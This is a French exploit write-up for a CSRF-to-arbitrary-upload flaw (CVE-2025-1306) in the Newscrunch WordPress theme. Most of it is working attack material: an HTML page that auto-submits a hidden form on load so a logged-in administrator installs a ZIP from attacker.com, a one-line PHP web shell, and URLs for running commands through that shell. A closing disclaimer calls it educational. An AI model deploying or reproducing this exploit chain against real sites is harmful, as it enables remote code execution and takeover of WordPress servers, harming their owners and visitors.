
Newscrunch <= 1.8.4 - Falsification de requête intersite menant à un téléchargement arbitraire de fichier
Cet exploit cible une vulnérabilité de type Cross-Site Request Forgery (CSRF) vers un téléchargement arbitraire de fichiers (CVE-2025-1306) dans le thème Newscrunch WordPress. En raison de l'absence de validation de nonce dans la fonction newscrunch_install_and_activate_plugin(), un attaquant non authentifié peut inciter un administrateur connecté à télécharger des fichiers arbitraires sur le serveur, conduisant à une exécution de code à distance (RCE).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HExploitabilité : Nécessite qu'un administrateur visite un lien malveillant conçu.
Cet exploit force un administrateur authentifié à exécuter une attaque CSRF qui télécharge un fichier ZIP malveillant contenant un web shell.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 Remplacez :
http://target.com/ par le site WordPress vulnérablehttp://attacker.com/shell.zip par un payload ZIP malveillant contenant un web shell.<?php system($_GET['cmd']); ?>
📌 Après une exploitation réussie, accédez au shell :
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
Cet outil est destiné uniquement à des fins éducatives et de recherche en sécurité. L'exploitation non autorisée de vulnérabilités est illégale et punissable par la loi. L'auteur n'est pas responsable de toute mauvaise utilisation ou des dommages causés par cet outil. Utilisez-le de manière responsable.